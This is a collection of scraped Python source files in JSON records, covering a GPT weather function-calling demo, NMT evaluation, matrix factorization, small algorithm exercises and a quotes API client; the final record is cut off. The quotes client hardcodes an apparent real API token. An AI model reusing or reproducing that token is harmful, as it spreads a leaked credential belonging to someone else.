+{"seq_id":"29330994255","text":"# import os\r\n# from dotenv import load_dotenv\r\nimport openai\r\nimport json\r\nimport requests\r\nimport apiKeys\r\n\r\n# load_dotenv()\r\n\r\n# openai.api_key = os.getenv(\"OPENAI_API_KEY\")\r\n# API_KEY = os.getenv(\"OPENWEATHERMAP_API_KEY\")\r\n\r\n# Due to dotenv not working, APIs have been imported to the main file using import.py.\r\nopenai.api_key = apiKeys.OPENAI_API_KEY\r\nAPI_KEY = apiKeys.OPENWEATHERMAP_API_KEY\r\n\r\nBASE_URL = \"https://api.openweathermap.org/data/2.5/weather\"\r\n\r\n\r\n# Example dummy function hard coded to return the same weather\r\n# In production, this could be your backend API or an external API\r\n# city = \"Istanbul\"\r\n# country_code = \"TR\"\r\n\r\n\r\ndef get_current_weather(city, country_code, unit=\"fahrenheit\"):\r\n \"\"\"Get the current weather in a given location\"\"\"\r\n params = {\r\n \"q\": f\"{city},{country_code}\",\r\n \"appid\": API_KEY,\r\n \"units\": \"imperial\" if unit == \"fahrenheit\" else \"metric\"\r\n }\r\n\r\n response = requests.get(BASE_URL, params=params)\r\n data = response.json()\r\n print(\"data of get_current_weather func: \" +str(data) + \"\\n\" + \"\\n\")\r\n \"\"\" {'coord': {'lon': 28.9833, 'lat': 41.0351}, 'weather': [{'id': 800, 'main': 'Clear', 'description': 'clear sky', 'icon': '01d'}], 'base': 'stations', 'main': {'temp': 26.29, 'feels_like': 26.29, 'temp_min': 25.68, 'temp_max': 30.09, 'pressure': 1011, 'humidity': 65}, 'visibility': 10000, 'wind': {'speed': 3.09, 'deg': 130}, 'clouds': {'all': 0}, 'dt': 1691045908, 'sys': {'type': 1, 'id': 6970, 'country': 'TR', 'sunrise': 1691031678, 'sunset': 1691083152}, 'timezone': 10800, 'id': 745042, 'name': 'Istanbul', 'cod': 200} \"\"\"\r\n \r\n if data[\"cod\"] == 200:\r\n weather_info = {\r\n \"temperature\": data[\"main\"][\"temp\"],\r\n \"unit\": \"fahrenheit\" if unit == \"fahrenheit\" else \"celsius\",\r\n \"description\": data[\"weather\"][0][\"description\"],\r\n }\r\n print(\"weather info::::\" + str(weather_info) + \"\\n\" + \"\\n\" + \"\\n\")\r\n return json.dumps(weather_info)\r\n else:\r\n print(\"Failed to fetch weather data.\")\r\n return None\r\n\r\n\r\ndef run_conversation():\r\n # Step 1: send the conversation and available functions to GPT\r\n messages = [{\"role\": \"user\", \"content\": \"What's the weather like in Athens?\"}]\r\n functions = [\r\n {\r\n \"name\": \"get_current_weather\",\r\n \"description\": \"Get the current weather in a given location\",\r\n \"parameters\": {\r\n \"type\": \"object\",\r\n \"properties\": {\r\n \"city\": {\r\n \"type\": \"string\",\r\n \"description\": \"The city name, e.g. Istanbul\",\r\n },\r\n \"country_code\": {\r\n \"type\": \"string\",\r\n \"description\": \"The country code, e.g. TR\",\r\n },\r\n \"unit\": {\"type\": \"string\", \"enum\": [\"celsius\", \"fahrenheit\"]},\r\n },\r\n \"required\": [\"city\", \"country_code\"],\r\n },\r\n }\r\n ]\r\n response = openai.ChatCompletion.create(\r\n model=\"gpt-3.5-turbo-0613\",\r\n messages=messages,\r\n functions=functions,\r\n # function_call=\"auto\", # auto is default, but we'll be explicit\r\n )\r\n \r\n response_message = response[\"choices\"][0][\"message\"] \r\n # print(\" response message of run_conversation func: \" + str(response_message) + \"\\n\" + \"\\n\")\r\n\r\n\r\n # Step 2: check if GPT wanted to call a function\r\n if response_message.get(\"function_call\"):\r\n # Step 3: call the function\r\n # Note: the JSON response may not always be valid; be sure to handle errors\r\n available_functions = {\r\n \"get_current_weather\": get_current_weather,\r\n } # only one function in this example, but you can have multiple\r\n \r\n function_name = response_message[\"function_call\"][\"name\"]\r\n fuction_to_call = available_functions[function_name]\r\n function_args = json.loads(response_message[\"function_call\"][\"arguments\"])\r\n \r\n function_response = fuction_to_call(\r\n city=function_args.get(\"city\"),\r\n country_code=function_args.get(\"country_code\"),\r\n unit=function_args.get(\"unit\"),\r\n )\r\n \r\n # Step 4: send the info on the function call and function response to GPT\r\n print(messages)\r\n print(\"\\n\" + \"\\n\" +\"\\n\")\r\n messages.append(response_message) # extend conversation with assistant's reply\r\n print(messages)\r\n print(\"\\n\" + \"\\n\" +\"\\n\")\r\n messages.append(\r\n {\r\n \"role\": \"function\",\r\n \"name\": function_name,\r\n \"content\": function_response,\r\n }\r\n ) # extend conversation with function response\r\n print(messages)\r\n print(\"\\n\" + \"\\n\" +\"\\n\")\r\n second_response = openai.ChatCompletion.create(\r\n model=\"gpt-3.5-turbo-0613\",\r\n messages=messages,\r\n ) # get a new response from GPT where it can see the function response\r\n \r\n return second_response[\"choices\"][0][\"message\"][\"content\"] # Extract the content of the message\r\n else:\r\n return response_message[\"content\"]\r\n\r\n\r\nprint(\"\\n\" + \"\\n\" + \"\\n\" + run_conversation())\r\n\r\n","repo_name":"gokeay/ChatGPT_FunctonCalling","sub_path":"forWeather/ChatGPT.py","file_name":"ChatGPT.py","file_ext":"py","file_size_in_byte":5292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"18447482908","text":"import torch\nimport torch.nn as nn\nfrom torch import optim\nimport torch.nn.functional as F\nimport nltk.translate.bleu_score as bleu\nfrom prep_data import *\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n\ndef evaluate(encoder, decoder, sentence, max_length=MAX_LENGTH):\n with torch.no_grad():\n input_tensor = tensorFromSentence(input_lang, sentence)\n input_length = input_tensor.size()[0]\n encoder_hidden = encoder.initHidden()\n\n encoder_outputs = torch.zeros(max_length, encoder.hidden_size, device=device)\n\n for ei in range(input_length):\n encoder_output, encoder_hidden = encoder(input_tensor[ei],\n encoder_hidden)\n encoder_outputs[ei] += encoder_output[0, 0]\n\n decoder_input = torch.tensor([[SOS_token]], device=device) # SOS\n\n decoder_hidden = encoder_hidden\n\n decoded_words = []\n decoder_attentions = torch.zeros(max_length, max_length)\n\n for di in range(max_length):\n decoder_output, decoder_hidden, decoder_attention = decoder(\n decoder_input, decoder_hidden, encoder_outputs)\n decoder_attentions[di] = decoder_attention.data\n topv, topi = decoder_output.data.topk(1)\n if topi.item() == EOS_token:\n decoded_words.append('')\n break\n else:\n decoded_words.append(output_lang.index2word[topi.item()])\n\n decoder_input = topi.squeeze().detach()\n\n return decoded_words, decoder_attentions[:di + 1]\n\n\ndef evaluateRandomly(encoder, decoder, n=10):\n for i in range(n):\n pair = random.choice(pairs)\n print('>', pair[0])\n print('=', pair[1])\n output_words, attentions = evaluate(encoder, decoder, pair[0])\n output_sentence = ' '.join(output_words)\n print('<', output_sentence)\n # Bleu\n ref = [pair[1].split()]\n bl = bleu.sentence_bleu(ref, output_sentence.split())\n print(\"BLEU Score\", bl)\n print('')\n\n\n","repo_name":"pashupati98/nmt-pytorch","sub_path":"evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":2090,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"39"} +{"seq_id":"41570725685","text":"import sys\n\nn = int(sys.stdin.readline().rstrip())\nwines = [0]\nw = 0\n\nfor i in range(1, n + 1) :\n ww = w # ww : 이전에 담은 wine 양\n w = int(sys.stdin.readline().rstrip()) # w : 새로 담은 와인의 양\n\n # 첫번째 와인은 바로 wines에 추가\n if i == 1 :\n wines.append(w)\n # 두번째의 최대값은 첫번째 + 두번째\n elif i == 2 :\n wines.append(wines[1] + w)\n # 세 잔의 와인 이용해서 나오는 세 가지 경우 중 최대값\n elif i == 3 :\n tmp = [wines[2], wines[1] + w, ww + w]\n wines.append(max(tmp))\n # 그 외\n # w을 마시고 ww 안 마시는 경우 : wines[i - 2] + w\n # w을 마시고 ww도 마시는 경우 : wines[i - 3] + ww + w\n # w 안 마시는 경우 : wines[i - 1]\n else :\n tmp = [wines[i - 1], wines[i - 2] + w, wines[i - 3] + ww + w]\n wines.append(max(tmp))\n\n# wines의 마지막 요소를 출력\nprint(wines[-1])\n","repo_name":"zeomzzz/python-coding-test","sub_path":"BOJ/Silver/2156.py","file_name":"2156.py","file_ext":"py","file_size_in_byte":948,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"27067835471","text":"from copy import deepcopy\n\nfrom matrox import (\n assert_square_matrix,\n identity_matrix,\n is_symmetric,\n num_rows,\n row_op_add,\n row_op_mult\n)\n\nfrom . import el_matrix_swap\n\n@assert_square_matrix\ndef permute_matrix(matrix):\n permuted = identity_matrix(num_rows(matrix))\n permute_from = deepcopy(matrix)\n for i in range(num_rows(permute_from)):\n if permute_from[i][i] == 0:\n s = i + 1\n while s < num_rows(permute_from):\n if permute_from[s][i] != 0:\n break\n else:\n s += 1\n if s < num_rows(permute_from):\n permuted = el_matrix_swap(permuted, i, s)\n permute_from = el_matrix_swap(permute_from, i, s)\n return permuted\n\n@assert_square_matrix\ndef upper_triangular(matrix, history=False, inverse_history=False):\n matrix_c = deepcopy(matrix)\n traceback = []\n inverse_traceback = []\n i = 0\n while i < num_rows(matrix):\n j = i + 1\n while j < num_rows(matrix):\n s = 1 if matrix_c[i][i] < 0 == matrix_c[j][i] < 0 else -1\n m = s * matrix_c[j][i] / matrix_c[i][i]\n matrix_c = row_op_add(matrix_c, i, j, m)\n if history:\n t = identity_matrix(num_rows(matrix))\n t[j][i] = deepcopy(m)\n traceback.append(t)\n if inverse_history:\n t = identity_matrix(num_rows(matrix))\n t[j][i] = deepcopy(-m)\n inverse_traceback.append(t)\n j += 1\n i += 1\n return matrix_c, traceback, inverse_traceback\n\n@assert_square_matrix\ndef lower_triangular(matrix, history = False, inverse_history = False):\n matrix_c = deepcopy(matrix)\n traceback = []\n inverse_traceback = []\n i = num_rows(matrix_c) - 1\n while i >= 0:\n j = i - 1\n while j >= 0:\n s = 1 if matrix_c[i][i] < 0 == matrix_c[j][i] < 0 else -1\n m = s * matrix_c[j][i] / matrix_c[i][i]\n matrix_c = row_op_add(matrix_c, i, j, m)\n if history:\n t = identity_matrix(num_rows(matrix))\n t[j][i] = deepcopy(m)\n traceback.append(t)\n if inverse_history:\n t = identity_matrix(num_rows(matrix))\n t[j][i] = deepcopy(-m)\n inverse_traceback.append(t)\n j -= 1\n i -= 1\n return matrix_c, traceback, inverse_traceback\n\n@assert_square_matrix\ndef lu_factorization(matrix):\n upper_pieces = upper_triangular(matrix, inverse_history=True)\n upper = upper_pieces[0]\n lower = identity_matrix(num_rows(matrix))\n for i in range(len(upper_pieces[2])):\n lower = lower * upper_pieces[2][i]\n return lower, upper\n\n@assert_square_matrix\ndef ldu_factorization(matrix):\n lower, upper = lu_factorization(matrix)\n diagonal = identity_matrix(num_rows(matrix))\n for i in range(num_rows(diagonal)):\n diagonal[i][i] = deepcopy(upper[i][i])\n upper = row_op_mult(upper, i, 1 / upper[i][i])\n return lower, diagonal, upper\n\n@assert_square_matrix\ndef plu_factorization(matrix):\n permuted = permute_matrix(matrix)\n lower, upper = lu_factorization(permuted * matrix)\n return permuted, lower, upper\n\n@assert_square_matrix\ndef ldlt_factorization(matrix):\n if not is_symmetric(matrix):\n return None, None, None\n return ldu_factorization(matrix)\n","repo_name":"rkty13/matrox","sub_path":"matrox/linalg/factorizations.py","file_name":"factorizations.py","file_ext":"py","file_size_in_byte":3431,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"39"} +{"seq_id":"12061802285","text":"# Initial state of boxes\nboxes = {\n 0: ['flower', 'dolphin'],\n 1: ['rocket', 'dice', 'shorts', 'shoe'],\n 2: ['wire', 'console', 'magnet', 'bus'],\n 3: ['fridge'],\n 4: ['bear', 'microwave', 'storm', 'ocean', 'glasses'],\n 5: ['starfish', 'fish', 'sun', 'fork'],\n 6: ['scissors', 'makeup'],\n 7: ['toothbrush', 'mirror', 'piano', 'planet', 'horn'],\n 8: [],\n 9: ['rock', 'whistle', 'frame', 'oven', 'skirt'],\n 10: [],\n 11: ['belt', 'wig', 'brush', 'car'],\n 12: ['jungle', 'headphone']\n}\n\n# Swap the planet in Box 7 with the flower in Box 0.\nboxes[0].remove('flower')\nboxes[7].remove('planet')\nboxes[0].append('planet')\nboxes[7].append('flower')\n\n# Swap the fridge in Box 3 with the horn in Box 7.\nboxes[3].remove('fridge')\nboxes[7].remove('horn')\nboxes[3].append('horn')\nboxes[7].append('fridge')\n\n# Move the horn from Box 3 to Box 5.\nboxes[3].remove('horn')\nboxes[5].append('horn')\n\n# Move the fork from Box 5 to Box 7.\nboxes[5].remove('fork')\nboxes[7].append('fork')\n\n# Replace the skirt and the whistle and the rock with the lion and the rain and the tiger in Box 9.\nboxes[9].remove('skirt')\nboxes[9].remove('whistle')\nboxes[9].remove('rock')\nboxes[9].append('lion')\nboxes[9].append('rain')\nboxes[9].append('tiger')\n\n# Put the controller and the storm into Box 5.\nboxes[5].append('controller')\nboxes[5].append('storm')\n\n# Remove the planet and the dolphin from Box 0.\nboxes[0].remove('planet')\nboxes[0].remove('dolphin')\n\n# Put the dolphin into Box 2.\nboxes[2].append('dolphin')\n\n# Empty Box 5.\nboxes[5] = []\n\n# Empty Box 11.\nboxes[11] = []\n\n# Swap the shorts in Box 1 with the scissors in Box 6.\nboxes[1].remove('shorts')\nboxes[6].remove('scissors')\nboxes[1].append('scissors')\nboxes[6].append('shorts')\n\n# Move the makeup from Box 6 to Box 5.\nboxes[6].remove('makeup')\nboxes[5].append('makeup')\n\n# Put the sun and the desert into Box 11.\nboxes[11].append('sun')\nboxes[11].append('desert')\n\n# Remove the glasses from Box 4.\nboxes[4].remove('glasses')\n\n# Remove the makeup from Box 5.\nboxes[5].remove('makeup')\n\n# Put the moon into Box 10.\nboxes[10].append('moon')\n\n# Replace the headphone with the clock in Box 12.\nboxes[12].remove('headphone')\nboxes[12].append('clock')\n\n# Put the fish into Box 10.\nboxes[10].append('fish')\n\n# Move the desert and the sun from Box 11 to Box 7.\nboxes[11].remove('desert')\nboxes[11].remove('sun')\nboxes[7].append('desert')\nboxes[7].append('sun')\n\n# Print the boxes\nfor box_number, items in boxes.items():\n print(f\"Box {box_number}: {items}\")","repo_name":"NLP-KU/fulgid","sub_path":"boxes/results/complex-boxes-dataset/code/gpt-3.5-turbo/482dd5d05a.py","file_name":"482dd5d05a.py","file_ext":"py","file_size_in_byte":2513,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"39"} +{"seq_id":"39059979214","text":"\"\"\"11. Faça um programa que receba um número inteiro e verifique se este\nnúmero é par ou ímpar, positivo ou negativo. \"\"\"\n\n\nnumero = int (input (\"Digite um número: \"));\n\ndef verifParouImpar (numero):\n if (numero % 2 == 0):\n print (\"O número é par\");\n else:\n print (\"O número é ímpar\");\n\nverifParouImpar(numero);\n\ndef positivoNegativo (numero):\n if (numero >= 1):\n print (\"e também um número positivo\");\n else:\n print (\"e também um número negativo\");\n\npositivoNegativo(numero);","repo_name":"beatrijz/exerciciosdepython","sub_path":"lista/exe11.py","file_name":"exe11.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"33638286745","text":"from input_int import inputInt\n\ndef inputMenu(listaOpc, mensaje='Elija una opción'):\n mensaje = mensaje + \": \"\n listaOpc = listaOpc.split('/')\n for indice in range(len(listaOpc)):\n print(f\"{indice+1}) {listaOpc[indice]}\")\n op = inputInt(\"Ingrese opción: \", 1, len(listaOpc))\n return listaOpc[op-1]\n\nif __name__=='__main__':\n q = inputMenu('si/no/a veces')\n print(q)\n r = inputMenu('rojo/verde', 'Elija un color')\n print(r)\n","repo_name":"pablokan/22prog1","sub_path":"repaso/AM1/input_menu.py","file_name":"input_menu.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"40128613834","text":"import requests\r\nqotd = {\"qotd_date\": \"2021-12-04T00:00:00.000+00:00\",\r\n \"quote\": {\r\n \"id\": 44689, \"dialogue\": False, \"private\": False,\r\n \"tags\": [\r\n \"nature\"\r\n ],\r\n \"url\": \"https://favqs.com/quotes/woody-allen/44689-i-am-two-with-\",\r\n \"favorites_count\": 0,\r\n \"upvotes_count\": 1,\r\n \"downvotes_count\": 0,\r\n \"author\": \"Woody Allen\",\r\n \"author_permalink\": \"woody-allen\",\r\n \"body\": \"I am two with nature.\"}}\r\n\r\nprint(f\"quote:{qotd['quote']['body']}\")\r\n\r\nresponse = requests.get('https://favqs.com/api/qotd',\r\n params={'format': 'json'})\r\ndata = response.json()\r\nprint(data['quote']['author'])\r\n\r\n\r\nwhile True:\r\n keyword = input('enter a keyword for quotes: ')\r\n page = 1\r\n\r\n while True:\r\n url = f'https://favqs.com/api/quotes?page={page}&filter={keyword}'\r\n headers = {\r\n 'Authorization': 'Token token=83ff6c5e1850ac35856e1869206dd66e'}\r\n response = requests.get(url, headers=headers,\r\n params={'format': 'json'})\r\n data = response.json()\r\n a = data['quote'][0]['id']\r\n\r\n if a != 0:\r\n result = len(data['quotes'])\r\n print(f'{result} quotes associated with {keyword} - page {page}')\r\n\r\n elif a == 0:\r\n print(f'0 quotes associated with {keyword} - page {page}')\r\n q = input(\"enter 'next page' or 'done': \")\r\n\r\n if q == \"next page\":\r\n page += 1\r\n continue\r\n\r\n elif q == \"done\":\r\n break\r\n","repo_name":"PdxCodeGuild/class_pipeline_predators","sub_path":"code/LarryWright/quotes.py","file_name":"quotes.py","file_ext":"py","file_size_in_byte":1622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"26962180346","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Oct 4 22:13:31 2018\n\n@author: diegoesquivel\n\"\"\"\n\nword = raw_input(\"Dame una palabra: \\n\")\nrvs = word[::-1]\n\nif word == rvs:\n print(\"Esto es un Palindromo\")\nelse:\n print(\"Esto NO es un Palindromo\")\n","repo_name":"Abresq/Python_Practices","sub_path":"palindrome.py","file_name":"palindrome.py","file_ext":"py","file_size_in_byte":270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"583599090","text":"# -*- encoding: utf-8 -*-\nfrom openerp import fields, models, api, _\n\n\nclass FleetSelect(models.TransientModel): # voir class stoc k_transfer_details(models.TransientModel):\n _name = 'fleet.select'\n _description = 'wizard to create new fleet client or modify existing'\n vehicle_id = fields.Many2one('fleet.vehicle', 'Vehicle')\n\n @api.multi\n def return_action_to_open(self):\n \"\"\" This opens the xml view specified in xml_id for the vehicles or current retailer \"\"\"\n ctx = dict(self._context or {})\n if ctx.get('xml_id'):\n res = self.env['ir.actions.act_window'].for_xml_id('fleet_ext', ctx.get('xml_id'))\n res['context'] = ctx\n if self.vehicle_id.id:\n res['domain'] = [('id', '=', self.vehicle_id.id)]\n res['res_id'] = self.vehicle_id.id\n res['target'] = 'current'\n res['flags'] = {'form': {'action_buttons': True}}\n else:\n #res['target'] = 'new'\n res['target'] = 'current'\n res['flags'] = {'form': {'action_buttons': True, 'options': {'mode': 'edit'}}}\n return res\n return False\n\n","repo_name":"rheami/fleet_ext","sub_path":"wizard/fleet_select.py","file_name":"fleet_select.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"24837900634","text":"'''\r\n Just some misc util funcs that might be universally used\r\n'''\r\n\r\nimport time\r\nimport requests\r\nimport sys\r\nimport os\r\nimport stat\r\nfrom bs4 import BeautifulSoup\r\nfrom datetime import datetime\r\nimport sqlite3\r\n\r\n# Setup logging\r\nfrom utils.customlogger import CustomLogger\r\nmain_logger = CustomLogger().main_logger\r\n\r\ndef toFile(filename: str, string: str):\r\n with open(filename, \"w\") as f:\r\n f.write(string)\r\n\r\ndef store_handles(hash, regid):\r\n toFile(f\"response/{hash} - {regid} - {time.time()}.log\", fd_table_status_str())\r\n\r\ndef timeFormat(inp):\r\n m, s = divmod(inp, 60)\r\n h, m = divmod(m, 60)\r\n return f'{h:2.0f}h {m:2.0f}m {s:5.2f}s'\r\n\r\ndef get_search_term(path, hash):\r\n html_file = os.path.join(path, hash, 'page.html')\r\n if not os.path.isfile(html_file):\r\n return \"\"\r\n with open(html_file, 'r') as f:\r\n soup = BeautifulSoup(f, \"html.parser\")\r\n if soup.title:\r\n if soup.title.string:\r\n return soup.title.string.strip()\r\n else:\r\n return soup.title.string\r\n else:\r\n return \"\"\r\n\r\ndef timeString(timeStart, i, N):\r\n now = time.time();\r\n elapsed = now - timeStart;\r\n totalTimeExpected = max((elapsed/i)*(N-1), elapsed);\r\n remainingTime = max(totalTimeExpected-elapsed, 0);\r\n return f\"Elapsed: {timeFormat(elapsed)} - Remaining: {timeFormat(remainingTime)} - Expected: {timeFormat(totalTimeExpected)}\"\r\n\r\ndef get_ip():\r\n response = requests.post(\"http://ident.me\")\r\n return response.text\r\n\r\nstartupip=get_ip()\r\ndef setstatus(status):\r\n toFile(f\"log/status-{startupip}.txt\", status)\r\n\r\n\r\ndef fix_entries(search, def_db):\r\n '''\r\n main_logger.info(\"Adding entries not in new DB\")\r\n search.conn_storage.execute(f\"ATTACH '{def_db}' as dba\")\r\n sql = \"select sha1 from dba.urls where sha1 not in (select sha1 from brand_table)\"\r\n results = search.conn_storage.execute(sql).fetchall()\r\n issue = set()\r\n start1 = time.time()\r\n for row in results:\r\n issue.add(row[0])\r\n main_logger.error(f\"{len(issue)} missing entries found.\")\r\n cnt = 0\r\n for row in issue:\r\n cnt += 1\r\n setstatus(f\"{cnt}/{len(issue)} ({cnt/len(issue)*100}%) - {timeString(start1, cnt, len(issue))}\")\r\n search.handle_folder(os.path.join(search.folder, row), row)\r\n search.conn_storage.execute(\"detach database dba\")\r\n '''\r\n\r\n main_logger.info(\"Double checking where no title results exist\")\r\n search.mode = \"text\"\r\n sql = \"select distinct sha1 from brand_table where sha1 not in (select distinct filepath from search_result_text)\"\r\n results = search.conn_storage.execute(sql).fetchall()\r\n issue2 = set()\r\n start2 = time.time()\r\n for row in results:\r\n issue2.add(row[0])\r\n main_logger.error(f\"Stage Text: {len(issue2)} missing entries found.\")\r\n cnt = 0\r\n for row in issue2:\r\n cnt += 1\r\n setstatus(f\"Stage Title: {cnt}/{len(issue2)} ({cnt/len(issue2)*100}%) - {timeString(start2, cnt, len(issue2))}\")\r\n search.handle_folder(os.path.join(search.folder, row), row)\r\n\r\n main_logger.info(\"Double checking where no image results exist\")\r\n search.mode = \"image\"\r\n sql = \"select distinct sha1 from brand_table where sha1 not in (select distinct filepath from search_result_image)\"\r\n results = search.conn_storage.execute(sql).fetchall()\r\n issue3 = set()\r\n start3 = time.time()\r\n for row in results:\r\n issue3.add(row[0])\r\n main_logger.error(f\"{len(issue3)} missing image found.\")\r\n cnt = 0\r\n for row in issue3:\r\n cnt += 1\r\n setstatus(f\"Stage Image: {cnt}/{len(issue3)} ({cnt/len(issue3)*100}%) - {timeString(start3, cnt, len(issue3))}\")\r\n search.handle_folder(os.path.join(search.folder, row), row)\r\n","repo_name":"paolokoelio/zerohour-decisionsupport-phishing","sub_path":"utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3787,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"39"} +{"seq_id":"73342406514","text":"\"\"\"\nAdithya Bhaskar, 2022.\nThis file lists all global variables that are not part of a configuration file.\nThe purpose is to ease routine operations by having some common paths and variables defined.\n\"\"\"\n\nimport os\nimport torch\n\nREPO_ROOT = \"/home/adithya/sem8/t2s-repo/\"\nPROMPT_ROOT = os.path.join(REPO_ROOT, \"prompts\")\nBENCH_ROOT = os.path.join(REPO_ROOT, \"benchmark\")\nCODE_ROOT = os.path.join(REPO_ROOT, \"src\")\nSPIDER_ROOT = os.path.join(REPO_ROOT, \"spider\")\nCHECKPOINT_ROOT = os.path.join(REPO_ROOT, \"checkpoints\")\n\nTEMPLATE_CHECKPT_DIR = os.path.join(CHECKPOINT_ROOT, \"template\")\nTEMPLATE_FIN_CHECKPT_DIR = os.path.join(CHECKPOINT_ROOT, \"template-fillin\")\nDB_DIR = os.path.join(REPO_ROOT, \"db-content\", \"database\")\nCONTENT_PATH = os.path.join(REPO_ROOT, \"db-content\", \"values-lower.json\")\n\nGPU_NUMBER = 0\n\ndef set_gpu_number(gpu_number):\n global GPU_NUMBER\n GPU_NUMBER = gpu_number\n\ndef get_device():\n if torch.cuda.is_available():\n return torch.device(\"cuda:{}\".format(GPU_NUMBER))\n else:\n return torch.device(\"cpu\")\n\nif __name__ == '__main__':\n pass","repo_name":"testzer0/AmbiQT","sub_path":"src/utils/globals.py","file_name":"globals.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"39"} +{"seq_id":"20256349286","text":"from random import randrange\n\n\ndef find_substr(arr):\n leng = len(arr)\n res = 0\n for row in range(leng):\n for col in range(leng):\n for i in range(1, 11):\n if i+row < leng:\n sum = 0\n for x in range(row, i+row+1):\n sum += arr[x][col]\n res = max(res, sum)\n\n if i+col < leng:\n sum = 0\n for x in range(col, i+col+1):\n sum += arr[row][x]\n res = max(res, sum)\n \n return res\n#=====================================================\n\nif __name__ == \"__main__\":\n n, k = map(int, input(\"Rozmiar, zakres: \").strip().split())\n\n arr = [[randrange(-k, 1+k) for _ in range(n)] for _ in range(n)]\n\n print(find_substr(arr))","repo_name":"JBRS307/WDI","sub_path":"list4/zad18.py","file_name":"zad18.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"39196776322","text":"from matplotlib import pyplot as plt\r\nfrom matplotlib.animation import FuncAnimation\r\nimport numpy as np\r\nimport math\r\nfrom random import randint\r\n\r\nfig, ax = plt.subplots()\r\nx, y = [0.0, 3.0, 6.0, 4.0],[0.0, 3*math.sqrt(3), 0.0, 3.0]\r\nsc = ax.scatter(x,y, s=1)\r\ni = 3\r\ndef plotmid(i, coef):\r\n while(i<=10000):\r\n value = randint(0, 2) #choose random point \r\n x.append((x[value] + x[i])*coef) #find midX\r\n y.append((y[value] + y[i])*coef) #find midY\r\n sc.set_offsets(np.c_[x,y]) #plot midPoint\r\n i = i + 1\r\n\r\ndef main():\r\n ani = FuncAnimation(plt.gcf(), plotmid(i, 0.5), interval = 10, repeat=True)\r\n plt.show()\r\n \r\nif __name__ == \"__main__\":\r\n main()","repo_name":"aidarjpg/sierpinski-triangle","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"38575157728","text":"from django.contrib import admin\nfrom django.urls import path\nfrom login import views\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', views.signin, name='signin'),\n path('signup/', views.signup, name='signup'),\n path('base/', views.base, name='base'),\n path('home/', views.home, name='home'),\n path('dashboard/', views.dashboard, name='dashboard'),\n path('about/', views.aboutus, name='aboutus'),\n path('results/', views.search_result, name='results')\n \n\n]\n","repo_name":"Tariq-amir/inventory-management","sub_path":"inventory/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"17986225839","text":"import nltk\nnltk.download('stopwords')\n\nimport re\n\nfrom multiprocessing import Pool\n\nimport services.logger as logger\nimport config\n\nfrom nltk.stem.porter import PorterStemmer\nfrom nltk.corpus import stopwords\n\ndef clean_text_single(data):\n text = data['Body']\n value = 1 if float(data['price_diff']) > 0 else 0\n\n clean_text = re.sub('[^a-zA-Z]', ' ', text) # Replace all non letters with spaces\n clean_text = clean_text.lower() # Set the entire text to lower case\n clean_text = clean_text.split() # Split the text into it's individual words\n\n # Remove words that don't contribute anything (like the, a, this, etc.)\n # Also apply stemming aka getting the root of words\n ps = PorterStemmer()\n clean_text = [ps.stem(word) for word in clean_text if not word in set(stopwords.words('english'))]\n clean_text = ' '.join(clean_text) # Put the string back together\n\n return (clean_text, value)\n# end clean_single()\n\ndef clean(data):\n # Clean the text\n if len(data) > config.CLEANER_SINGLE_THREAD_CUTOFF:\n logger.log('Cleaning text.')\n pool = Pool(processes=8)\n clean_data = pool.map(clean_text_single, data)\n logger.log('Cleaning complete.')\n else:\n logger.log('Cleaning text.')\n clean_data = map(clean_text_single, data)\n logger.log('Cleaning complete.')\n #endif\n \n return list(clean_data)\n# clean()","repo_name":"ckchessmaster/ml-wallstreet","sub_path":"MLserviceAPI/src/services/text_service.py","file_name":"text_service.py","file_ext":"py","file_size_in_byte":1392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"20990135391","text":"\"\"\"Func\"\"\"\n\ndef func(text):\n \"\"\"BreachTheDoor\"\"\"\n text = text.split()\n answer = []\n for i in text:\n onlyalpha = \"\"\n for j in i:\n if j.isalpha():\n onlyalpha += j\n if len(onlyalpha) > 6:\n answer.append(onlyalpha)\n print(\" \".join(answer))\nfunc(input())\n","repo_name":"page2me/IT-Xtoberfest2021","sub_path":"ChangeTheWorld/BreachTheDoor.py","file_name":"BreachTheDoor.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"38"} +{"seq_id":"70431605551","text":"alph = [0] * 26\nword = []\nmx = 0\n\ndef backtracking(a, cnt):\n global alph, mx\n if cnt == 0:\n sum = 0\n for w in word:\n check = True\n for c in w:\n if 